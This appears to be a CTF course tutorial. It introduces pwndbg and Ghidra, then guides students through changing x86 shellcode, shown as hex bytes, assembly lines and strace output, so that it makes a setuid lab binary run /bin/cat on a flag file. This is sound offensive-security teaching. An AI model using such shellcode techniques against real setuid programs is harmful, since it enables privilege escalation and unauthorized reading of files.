In this tutorial, we will learn how to write "shellcode" (a payload to get a flag) in assembly. Before we start, let's arm ourselves with two new tools, one for better dynamic analysis (pwndbg) and another for better static analysis (Ghidra).
For local installation, please refer to https://github.com/pwndbg/pwndbg. We've already prepared pwndbg for you on our CTF server:
# log into the CTF server # ** check Canvas for login information! ** [host] $ ssh lab02@<ctf-server-address> # launch pwndbg with 'gdb-pwndbg' [CTF server] $ gdb-pwndbg [CTF server] pwndbg: loaded 175 commands. Type pwndbg [filter] for a list. [CTF server] pwndbg: created $rebase, $ida gdb functions (can be used with print/break) [CTF server] pwndbg>
Let's test pwndbg with a tutorial binary, tut02-shellcode/target.
tut02-shellcode/target
To learn about new features pwndbg adds to GDB, please check here.
We'll introduce a few more of pwndbg's features in later labs, but here's a list of useful commands you can try if you're feeling adventurous:
aslr
checksec
elfheader
hexdump
$sp
main
nearpc
nextcall
nextjmp
nextjump
nextret
nextsc
nextsyscall
pdisass
procinfo
regs
stack
search
telescope
vmmap
We also found its cheatsheet very useful.
Ghidra is an interactive disassembler (and decompiler) widely used by reverse engineers for statically analyzing binaries. We'll introduce the basic concepts of Ghidra in this tutorial.
Please first install Ghidra on your host machine by following this guide.
Next, fetch crackme0x00 from the CTF server, and launch Ghidra.
crackme0x00
# copy crackme0x00 from the server to a local dir [host] $ scp lab01@<ctf-server-address>:tut01-crackme/crackme0x00 crackme0x00 # run Ghidra (make sure you've installed it first!) # (on linux /macOS) [host] $ ./<ghidra_dir>/ghidraRun # (on windows) [host] $ ./<ghidra_dir>/ghidraRun.bat
You should now be greeted by the user agreement and project window:
Create a new project by choosing "File" -> "New Project". Select "Non-Shared Project", choose a "Project Name" (we'll use "tut01"), and drag your local crackme0x00 into the folder just created. Double-click on the binary to start analyzing it.
Once the analysis is done, you will be shown Ghidra's multiple subviews of the program. Before we jump into the details, we need to briefly understand what each one is for. Program Trees and Symbol Tree show the loaded segments and symbols of the analyzed binary. Listing: crackme0x00 in the middle shows a view of the binary's assembly code. On the right-hand side, we have the decompiled source code of the main() function.
Program Trees
Symbol Tree
Listing: crackme0x00
main()
To examine the binary, click on main under Symbol Tree. This will take you to that symbol's address in the text (i.e., code) segment. You'll also have a synced view of Ghidra's decompiled C code for main, side-by-side.
The decompiled C code is much easier to understand than the assembly code. With it, you can find that the binary gets a password from the user (lines 11-12) and compares it with 250381 (line 13).
250381
From now on, feel free to utilize Ghidra when analyzing challenge binaries from the labs. In addition, its binary patching functionality might come in handy for tackling this week's bomblab!
Let's discuss today's main topic, writing shellcode! "Shellcode" is a generic term referring to a payload for exploitation, often with the goal of launching an interactive shell.
All of the files in lab02's home directory are read-only. In order to modify them, you'll need to make copies in a writable location. You can make a folder in the the lab server's /tmp (something like /tmp/<x0x0-your-secret-dir>), or copy to your local machine.
lab02
/tmp
/tmp/<x0x0-your-secret-dir>
Choose a unique /tmp folder name that can't be easily guessed, so nobody else finds your code on the lab server! Here's a command to securely generate a random string, which you can use if you'd like: python3 -c "import secrets; print(secrets.token_urlsafe())"
python3 -c "import secrets; print(secrets.token_urlsafe())"
# copying to /tmp: [CTF server] $ cp -rf tut02-shellcode /tmp/<x0x0-your-secret-dir> [CTF server] $ cd /tmp/<x0x0-your-secret-dir> # copying to local machine: [host] $ scp -r lab02@<ctf-server-address>:tut02-shellcode/ . [host] $ cd tut02-shellcode
Note that there's a pre-built 'target' binary in the tutorial folder:
$ ls -al tut02-shellcode total 44 drwxr-x--- 2 nobody lab02 4096 Aug 26 19:48 . drwxr-x--- 13 nobody lab02 4096 Aug 23 13:32 .. -rw-r--r-- 1 nobody nogroup 535 Aug 23 13:32 Makefile -rw-r--r-- 1 nobody nogroup 11155 Aug 26 19:48 README -rw-r--r-- 1 nobody nogroup 1090 Aug 23 13:32 shellcode.S -r-sr-x--- 1 tut02-shellcode lab02 9820 Aug 23 13:32 target -rw-r--r-- 1 nobody nogroup 482 Aug 23 13:32 target.c
Does it look different from the other files in terms of permissions (especially the "s" in the permissions bits)? This is a "setuid" file, a special type of file that, when invoked, obtains the privileges of the owner of the file rather than of the user that invoked it -- in this case, the owner being "tut02-shellcode". In every lab, you can play with modified copies of the challenge binaries all you want, but this permissions configuration means you can only ever get valid flags from the original (read-only) binaries.
tut02-shellcode
Your task is to get the flag from the target binary by modifying the provided shellcode to invoke /bin/cat. Before going further, please take a look at these two important files.
/bin/cat
$ cat Makefile $ cat shellcode.S
We will modify the shellcode to invoke /bin/cat, and use it to read the flag as follows:
$ cat /proc/flag
[Task] Please modify the below lines in shellcode.S:
shellcode.S
#define STRING "/bin/sh" #define STRLEN 7
Try:
$ make test bash -c '(cat shellcode.bin; echo; cat) | ./target' > length: 46 > 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B > 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD > 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74 hello hello
Type hello. Do you see hello echo-ed?
hello
Let's also try using strace to trace system calls.
strace
$ (cat shellcode.bin; echo; cat) | strace ./target ... mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff77b5000 write(1, "> length: 46\n", 13> length: 46 ) = 13 write(1, "> 0000: EB 1F 5E 89 76 09 31 C0 "..., 57> 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B ) = 57 write(1, "> 0010: 89 F3 8D 4E 09 8D 56 0D "..., 57> 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD ) = 57 write(1, "> 0020: 80 E8 DC FF FF FF 2F 62 "..., 51> 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74 ) = 51 execve("/bin/cat", ["/bin/cat"], [/* 0 vars */]) = 0 [ Process PID=4565 runs in 64 bit mode. ] ...
Do you see execve("/bin/cat"...)? You can also specify "-e" to limit the output to just the system calls you're interested in (in this case, execve):
execve("/bin/cat"...)
execve
$ (cat shellcode.bin; echo; cat) | strace -e execve ./target execve("./target", ["./target"], [/* 20 vars */]) = 0 [ Process PID=4581 runs in 32 bit mode. ] > length: 46 > 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B > 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD > 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74 execve("/bin/cat", ["/bin/cat"], [/* 0 vars */]) = 0 [ Process PID=4581 runs in 64 bit mode. ]
If you're not familiar with execve(), please read man execve. You can also read man strace for more on strace.
execve()
man execve
man strace
/proc/flag
Let's modify the shellcode to provide an argument to /bin/cat (i.e., /proc/flag). Your current payload looks like this:
+------------+ v | [/bin/cat][0][ptr ][NULL] ^ ^ | +-- envp +-- argv
Note: The shellcode can't include any null (0) bytes, because the binary treats the shellcode input as a string, and a null byte would terminate it. Instead, the null byte is written at runtime by:
mov [STRLEN + esi],al /* null-terminate our string */
Our plan is to make the payload as follows:
+---------------------------+ | +--------------=-----+ v v | | [/bin/cat][0][/proc/flag][0][ptr1][ptr2][NULL] ^ ^ | +-- envp +-- argv
Modify /bin/cat to /bin/catN/proc/flag:
/bin/catN/proc/flag
#define STRING "/bin/catN/proc/flag" #define STRLEN1 8 #define STRLEN2 19
"N" is a placeholder character for a null byte we will overwrite.
How can you update STRLEN like this? Fix the compilation errors!
STRLEN
Place a null byte after /bin/cat and /proc/flag:
This part of the assembly code adds a null terminator after the string:
Can you add some additional code to place another null terminator in the middle of the string, overwriting the "N"?
Then try:
$ make test ... execve("/bin/cat", ["/bin/cat"], [/* 0 vars */])
Does it execute /bin/cat?
Modify argv[1] to point to /proc/flag!
argv[1]
This part of the assembly code puts a pointer to "/bin/cat" in ARGV+0:
mov [ARGV+esi],esi /* set up argv[0] pointer to pathname */
Can you add some additional code to place the address of "/proc/flag" in ARGV+4?
$ make test ... execve("/bin/cat", ["/bin/cat", "/proc/flag"], [/* 0 vars */]) = 0
Does it execute /bin/cat with /proc/flag?
Tips: When using gdb-pwndbg to debug shellcode...
gdb-pwndbg
$ gdb-pwndbg ./target
You can break right before executing your shellcode:
pwndbg> br target.c:24
You can run and inject shellcode.bin to its stdin:
shellcode.bin
stdin
pwndbg> run < shellcode.bin ...
You can also check if your shellcode is placed correctly:
pwndbg> pdisas &buf ...
[Task] Once you're done, run the command below and get the true flag to submit!
$ cat shellcode.bin | /home/lab02/tut02-shellcode/target
Great, you're now ready to write x86 shellcode! This week, we'll be writing various kinds of shellcode (e.g., targeting x86, x86-64, or both!), and also with various properties (e.g., ascii-only or with size constraints!). Have fun!